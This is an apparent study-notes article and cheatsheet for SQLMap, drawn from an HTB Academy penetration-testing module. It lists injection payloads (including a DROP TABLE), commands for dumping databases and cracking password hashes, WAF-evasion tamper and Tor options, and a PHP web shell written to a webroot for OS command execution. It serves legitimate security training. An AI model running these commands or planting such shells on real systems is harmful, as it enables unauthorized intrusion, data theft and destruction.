All articles

SQLMap Essentials — Automated SQLi Detection, Enumeration, WAF Bypass and RCE (HTB CWES)

Built from the SQLMap Essentials module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every flag and workflow kept, condensed. Labs and lessons are on HTB Academy.

SQLMap automates everything from SQL Injection Fundamentals: detection, fingerprinting, enumeration, file read/write, WAF bypass and OS command execution — across ~40 DBMSes and every SQLi technique.

1. Techniques it covers (BEUSTQ)

--technique defaults to BEUSTQ; narrow it when a type misbehaves:

Letter Technique Example payload
B Boolean-based blind AND 1=1
E Error-based AND GTID_SUBSET(@@version,0)
U UNION query UNION ALL SELECT 1,@@version,3
S Stacked queries ; DROP TABLE users
T Time-based blind AND 1=IF(2>1,SLEEP(5),0)
Q Inline queries SELECT (SELECT @@version) FROM …

(Out-of-band via DNS exfil is also supported.) UNION and error-based are fastest; blind types are slow (bit-by-bit / delay-by-delay).

2. Targeting

sqlmap -u "http://site/vuln.php?id=1" --batch     # GET; --batch = accept all defaults
sqlmap "http://site/" --data 'uid=1&name=test'    # POST body
sqlmap "http://site/" --data 'uid=1*&name=test'   # * marks the param to inject (or use -p uid)
sqlmap -r req.txt                                  # full HTTP request saved from Burp/DevTools

Other target modes: -l burp.log, -m targets.txt (bulk), -g 'dork' (Google dork), -d (direct DB). JSON/XML bodies work too (SQLMap detects them). The cleanest setup: DevTools/Burp → Copy as cURL, paste, change curl to sqlmap.

3. Request customization

--cookie='PHPSESSID=…'          # session cookie   (or -H 'Cookie: …')
-H 'X-Forwarded-For: 127.0.0.1' # arbitrary header
--random-agent                  # dodge default-UA blacklisting (sqlmap/x.y UA)
--method PUT                    # force a method
--cookie="id=1*"                # inject into a header/cookie with the * marker

4. When it won't detect — troubleshoot

--parse-errors   # surface the DBMS error messages
-t traffic.txt   # dump all sent/received HTTP to a file
-v 6             # max verbosity: see every request/response + [PAYLOAD] lines
--proxy=http://127.0.0.1:8080   # route through Burp to inspect/replay

5. Attack tuning

A payload = boundaries (prefix/suffix) + vector (the SQL).

--level=5 --risk=3          # 1-5 / 1-3: more boundaries & vectors (default 1/1 ≈ 72 payloads; 5/3 ≈ 7865)
--prefix="%'))" --suffix="-- -"   # custom injection boundary
--technique=BEU             # restrict to boolean+error+union (e.g. skip slow time-based)
--union-cols=17 --union-char='a' --union-from=users   # help UNION when auto-detect fails
--code=200 --titles --string="success" --text-only    # pin TRUE/FALSE detection

Raise --risk to 3 to enable OR payloads — needed for login pages, but risky if the backend statement writes data.

6. Enumeration

# basics
sqlmap -u URL --banner --current-user --current-db --is-dba --hostname --passwords
# structure
sqlmap -u URL --dbs                         # databases
sqlmap -u URL --tables -D testdb            # tables in a DB
sqlmap -u URL --columns -T users -D testdb  # columns
sqlmap -u URL --dump -T users -D testdb     # dump a table  (→ CSV under ~/.local/share/sqlmap)
sqlmap -u URL --dump -T users -D testdb -C name,surname --start=2 --stop=3 --where="name LIKE 'f%'"
sqlmap -u URL --dump -D testdb              # whole DB     |  --dump-all --exclude-sysdbs = everything useful
# find things fast
sqlmap -u URL --schema                      # all tables' structure
sqlmap -u URL --search -T user              # tables/cols matching a keyword (--search -C pass)
sqlmap -u URL --all --batch                 # enumerate absolutely everything

When a dumped column looks like hashes, SQLMap offers a dictionary crack on the spot (31 hash types, ~1.4M-word list). --passwords dumps and cracks the DBMS account hashes.

7. Bypassing protections

--random-agent                      # UA blacklist
--csrf-token="csrf-token"           # auto-refresh anti-CSRF token each request
--randomize=rp                      # send a fresh random value in param rp each request
--eval="import hashlib; h=hashlib.md5(id).hexdigest()"   # compute a dependent param before sending
--skip-waf                          # skip WAF heuristics (less noise)
--tamper=between,randomcase         # chain tamper scripts to mangle payloads past a WAF
--list-tampers                      # see them all
--chunked                           # split POST body into chunks to hide keywords
--proxy="socks4://IP:PORT" | --proxy-file=list.txt | --tor --check-tor   # hide/rotate IP

SQLMap probes for a WAF on startup (a bogus ?pfov= param) and fingerprints 80 WAFs via identYwaf. Handy tamper scripts: between (>→NOT BETWEEN, =→BETWEEN), space2comment, space2randomblank, randomcase, base64encode, equaltolike, charencode, modsecurityversioned.

8. OS exploitation

Needs DBA / file privileges — check with --is-dba.

sqlmap -u URL --file-read "/etc/passwd"                              # read a remote file
echo '<?php system($_GET["cmd"]); ?>' > shell.php
sqlmap -u URL --file-write "shell.php" --file-dest "/var/www/html/shell.php"   # write a web shell
# then: curl 'http://site/shell.php?cmd=id'
sqlmap -u URL --os-shell                       # interactive OS shell (UDF sys_exec/sys_eval, or file stager)
sqlmap -u URL --os-shell --technique=E         # force a technique that returns output (UNION gave none)

--os-shell asks the language (PHP) and webroot (common locations); --batch auto-picks the defaults. It can also brute-force the webroot.

9. What to carry into the CWES exam

  • Feed SQLMap a real request. --batch + -r req.txt (or Copy-as-cURL) with the right cookie/CSRF handling beats a hand-typed -u — most "SQLMap doesn't work" is a bad request.
  • Escalate stepwise: detect → --dbs → --tables -D → --columns -T → --dump (--search to find pass/user fast; it auto-cracks hashes).
  • When stuck, tune: --level/--risk up (and for login pages you need --risk=3 for OR), --technique= to drop a flaky type, --prefix/--suffix for odd contexts, -v 6/--parse-errors to see why.
  • Past protections: --random-agent, --csrf-token, --tamper=..., --chunked. The skills-assessment target has "basic protection" — expect to add a tamper and a UA.
  • Finish with a shell: --is-dba → --file-read/--file-write --file-dest a web shell → or straight to --os-shell --technique=E for interactive RCE.

Cheatsheet — SQLMap

Target / request

sqlmap -u "http://site/vuln.php?id=1" --batch
sqlmap "http://site/" --data 'uid=1*&name=test'      # * = inject here (or -p uid)
sqlmap -r req.txt                                     # Burp/DevTools saved request
sqlmap ... --cookie='PHPSESSID=…' --random-agent --method PUT
# bulk: -m targets.txt   dork: -g 'dork'   proxy: --proxy=http://127.0.0.1:8080

Tuning

--level=5 --risk=3          --technique=BEUSTQ (narrow e.g. =E)
--prefix="%'))" --suffix="-- -"     --union-cols=N --union-char='a'
--code=200 --titles --string="ok" --text-only

Enumerate

--banner --current-user --current-db --is-dba --hostname --passwords
--dbs
--tables -D DB
--columns -T TBL -D DB
--dump -T TBL -D DB [-C c1,c2] [--start N --stop M] [--where "x LIKE 'a%'"]
--dump -D DB | --dump-all --exclude-sysdbs
--schema | --search -T user | --search -C pass | --all

Bypass

--random-agent --csrf-token="token" --randomize=param
--eval="import hashlib; h=hashlib.md5(id).hexdigest()"
--tamper=between,space2comment,randomcase   --list-tampers
--chunked   --skip-waf   --tor --check-tor

Troubleshoot

--parse-errors   -t traffic.txt   -v 6   --proxy=http://127.0.0.1:8080

OS / files / RCE

--file-read "/etc/passwd"
--file-write "shell.php" --file-dest "/var/www/html/shell.php"   # then curl ?cmd=id
--os-shell [--technique=E]

Built from HTB Academy's SQLMap Essentials module — labs, lessons and the CWES exam are on HTB Academy.